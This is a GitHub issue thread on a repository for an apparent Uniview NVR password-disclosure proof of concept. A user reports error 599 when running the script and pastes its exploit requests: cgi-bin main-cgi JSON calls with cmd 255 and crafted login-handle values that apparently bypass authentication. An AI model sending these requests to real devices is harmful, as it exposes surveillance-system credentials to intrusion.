B1t0n / Uniview-PwdDisclosure

4 stars 1 forks source link

Error code 599 when running script on NVR301-16-P8 #1

Open Waleed315 opened 3 years ago

Waleed315 commented 3 years ago

Hello, I'm trying to run the script on Uniview NVR301-16-P8, getting bellow error:

┌──(root💀kali)-[/home/kali/Uniview-PwdDisclosure]
└─# python unv-nvr-poc.py http://192.168.0.102                                                          1 ⨯

Uniview NVR remote passwords disclosure!
[+] Getting model name and software version...
Failed fetching version, got status code: 599

[+] Getting configuration file...
Failed fetching configuration file, response code: 599

I opened the script, took the HTTP requests inside and tried to execute them on browser as below: http://192.168.0.102/cgi-bin/main-cgi?json={"cmd":255,"szUserName":"","u32UserLoginHandle":8888888888}

No success, below is the response I get: { "code": 60031, "success": false }

Also tried this: http://192.168.0.102/cgi-bin/main-cgi?json={"cmd":255,"szUserName":"","u32UserLoginHandle":-1} Got same response above.

Can you still assist with this issue?

Waleed315 commented 3 years ago

Hi B1t0n, Did you have time to check my previous comment?